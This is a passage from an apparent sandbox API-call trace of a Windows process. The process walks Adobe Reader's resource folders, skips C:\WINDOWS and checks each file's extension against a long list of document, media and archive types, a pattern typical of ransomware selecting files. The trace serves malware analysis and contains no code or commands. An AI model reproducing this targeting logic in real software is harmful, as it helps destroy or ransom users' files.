	[0175.880] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0175.880] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1
	[0175.880] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0175.880] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-ma", cAlternateFileName="")) returned 1
	[0175.880] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0175.881] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee943fc4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee943fc4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee943fc4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-il", cAlternateFileName="")) returned 1
	[0175.881] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0175.881] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-hr", cAlternateFileName="")) returned 1
	[0175.881] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0175.881] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-hu", cAlternateFileName="")) returned 1
	[0175.881] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0175.881] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1
	[0175.881] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0175.881] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1
	[0175.881] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0175.881] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr", cAlternateFileName="")) returned 1
	[0175.882] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0175.882] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1
	[0175.882] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0175.882] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-nl", cAlternateFileName="")) returned 1
	[0175.882] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0175.882] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-pl", cAlternateFileName="")) returned 1
	[0175.882] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0175.882] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-br", cAlternateFileName="")) returned 1
	[0175.882] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0175.882] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-ro", cAlternateFileName="")) returned 1
	[0175.883] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0175.883] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1
	[0175.883] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0175.883] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee943fc4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee943fc4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee943fc4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-ru", cAlternateFileName="")) returned 1
	[0175.883] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0175.883] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee943fc4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee943fc4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee943fc4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-sk", cAlternateFileName="")) returned 1
	[0175.883] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0175.883] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-si", cAlternateFileName="")) returned 1
	[0175.883] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0175.883] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-sl", cAlternateFileName="")) returned 1
	[0175.884] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0175.884] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee943fc4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee943fc4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee943fc4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-se", cAlternateFileName="")) returned 1
	[0175.884] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0175.884] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-tr", cAlternateFileName="")) returned 1
	[0175.884] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0175.884] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee943fc4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee943fc4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee943fc4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1
	[0175.884] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0175.884] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-cn", cAlternateFileName="")) returned 1
	[0175.884] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0175.884] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee943fc4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee943fc4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee943fc4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 1
	[0175.885] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0175.885] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee943fc4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee943fc4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee943fc4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 0
	[0175.885] FindClose (in: hFindFile=0x4140c58 | out: hFindFile=0x4140c58) returned 1
	[0175.885] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0175.885] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x6b57, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugin.js", cAlternateFileName="")) returned 1
	[0175.885] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50a0058 | out: hHeap=0x5a0000) returned 1
	[0175.885] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374e420 | out: lpFindFileData=0x374e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee943fc4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee943fc4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee943fc4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0
	[0175.885] FindClose (in: hFindFile=0x4140898 | out: hFindFile=0x4140898) returned 1
	[0175.885] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5080048 | out: hHeap=0x5a0000) returned 1
	[0175.885] FindNextFileW (in: hFindFile=0x4140e98, lpFindFileData=0x374e69c | out: lpFindFileData=0x374e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="on-boarding", cAlternateFileName="ON-BOA~1")) returned 1
	[0175.886] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50a0058 | out: hHeap=0x5a0000) returned 1
	[0175.886] FindNextFileW (in: hFindFile=0x4140ed8, lpFindFileData=0x374e420 | out: lpFindFileData=0x374e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1
	[0176.068] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0176.068] FindNextFileW (in: hFindFile=0x4140c98, lpFindFileData=0x374dcac | out: lpFindFileData=0x374dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed96438, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed96438, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed96438, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="da-dk", cAlternateFileName="")) returned 1
	[0176.068] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0176.069] FindNextFileW (in: hFindFile=0x4140c98, lpFindFileData=0x374dcac | out: lpFindFileData=0x374dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeede288a, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeede288a, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeede288a, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="de-de", cAlternateFileName="")) returned 1
	[0176.069] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\on-boarding\\images\\themeless\\Localized_images\\de-de") returned 146
	[0176.069] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\on-boarding\\images\\themeless\\Localized_images\\de-de") returned 1
	[0176.069] lstrlenW (lpString="de-de") returned 5
	[0176.069] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="de-de") returned -1
	[0176.069] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x42e29c8
	[0176.069] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\on-boarding\\images\\themeless\\Localized_images\\de-de") returned 146
	[0176.069] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\on-boarding\\images\\themeless\\Localized_images\\de-de\\*", lpFindFileData=0x374da30 | out: lpFindFileData=0x374da30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeede288a, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeede288a, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeede288a, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ba5b0
	[0176.069] FindNextFileW (in: hFindFile=0x5ba5b0, lpFindFileData=0x374da30 | out: lpFindFileData=0x374da30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeede288a, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeede288a, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeede288a, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0176.069] FindNextFileW (in: hFindFile=0x5ba5b0, lpFindFileData=0x374da30 | out: lpFindFileData=0x374da30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeede288a, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeede288a, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeede288a, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x461d, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppStore_icon.svg", cAlternateFileName="APPSTO~1.SVG")) returned 1
	[0176.069] lstrlenW (lpString="AppStore_icon.svg") returned 17
	[0176.069] lstrlenW (lpString=".1cd") returned 4
	[0176.069] lstrcmpiW (lpString1=".1cd", lpString2=".svg") returned -1
	[0176.069] lstrlenW (lpString=".3ds") returned 4
	[0176.069] lstrcmpiW (lpString1=".3ds", lpString2=".svg") returned -1
	[0176.069] lstrlenW (lpString=".3fr") returned 4
	[0176.069] lstrcmpiW (lpString1=".3fr", lpString2=".svg") returned -1
	[0176.069] lstrlenW (lpString=".3g2") returned 4
	[0176.069] lstrcmpiW (lpString1=".3g2", lpString2=".svg") returned -1
	[0176.069] lstrlenW (lpString=".3gp") returned 4
	[0176.069] lstrcmpiW (lpString1=".3gp", lpString2=".svg") returned -1
	[0176.069] lstrlenW (lpString=".7z") returned 3
	[0176.069] lstrcmpiW (lpString1=".7z", lpString2="svg") returned -1
	[0176.069] lstrlenW (lpString=".accda") returned 6
	[0176.070] lstrcmpiW (lpString1=".accda", lpString2="on.svg") returned -1
	[0176.070] lstrlenW (lpString=".accdb") returned 6
	[0176.070] lstrcmpiW (lpString1=".accdb", lpString2="on.svg") returned -1
	[0176.070] lstrlenW (lpString=".accdc") returned 6
	[0176.070] lstrcmpiW (lpString1=".accdc", lpString2="on.svg") returned -1
	[0176.070] lstrlenW (lpString=".accde") returned 6
	[0176.070] lstrcmpiW (lpString1=".accde", lpString2="on.svg") returned -1
	[0176.070] lstrlenW (lpString=".accdt") returned 6
	[0176.070] lstrcmpiW (lpString1=".accdt", lpString2="on.svg") returned -1
	[0176.070] lstrlenW (lpString=".accdw") returned 6
	[0176.070] lstrcmpiW (lpString1=".accdw", lpString2="on.svg") returned -1
	[0176.070] lstrlenW (lpString=".adb") returned 4
	[0176.070] lstrcmpiW (lpString1=".adb", lpString2=".svg") returned -1
	[0176.070] lstrlenW (lpString=".adp") returned 4
	[0176.070] lstrcmpiW (lpString1=".adp", lpString2=".svg") returned -1
	[0176.070] lstrlenW (lpString=".ai") returned 3
	[0176.070] lstrcmpiW (lpString1=".ai", lpString2="svg") returned -1
	[0176.070] lstrlenW (lpString=".ai3") returned 4
	[0176.070] lstrcmpiW (lpString1=".ai3", lpString2=".svg") returned -1
	[0176.070] lstrlenW (lpString=".ai4") returned 4
	[0176.070] lstrcmpiW (lpString1=".ai4", lpString2=".svg") returned -1
	[0176.070] lstrlenW (lpString=".ai5") returned 4
	[0176.070] lstrcmpiW (lpString1=".ai5", lpString2=".svg") returned -1
	[0176.070] lstrlenW (lpString=".ai6") returned 4
	[0176.070] lstrcmpiW (lpString1=".ai6", lpString2=".svg") returned -1
	[0176.070] lstrlenW (lpString=".ai7") returned 4
	[0176.070] lstrcmpiW (lpString1=".ai7", lpString2=".svg") returned -1
	[0176.070] lstrlenW (lpString=".ai8") returned 4
	[0176.070] lstrcmpiW (lpString1=".ai8", lpString2=".svg") returned -1
	[0176.070] lstrlenW (lpString=".anim") returned 5
	[0176.070] lstrcmpiW (lpString1=".anim", lpString2="n.svg") returned -1
	[0176.070] lstrlenW (lpString=".arw") returned 4
	[0176.070] lstrcmpiW (lpString1=".arw", lpString2=".svg") returned -1
	[0176.070] lstrlenW (lpString=".as") returned 3
	[0176.071] lstrcmpiW (lpString1=".as", lpString2="svg") returned -1
	[0176.071] lstrlenW (lpString=".asa") returned 4
	[0176.071] lstrcmpiW (lpString1=".asa", lpString2=".svg") returned -1
	[0176.071] lstrlenW (lpString=".asc") returned 4
	[0176.071] lstrcmpiW (lpString1=".asc", lpString2=".svg") returned -1
	[0176.071] lstrlenW (lpString=".ascx") returned 5
	[0176.071] lstrcmpiW (lpString1=".ascx", lpString2="n.svg") returned -1
	[0176.071] lstrlenW (lpString=".asm") returned 4
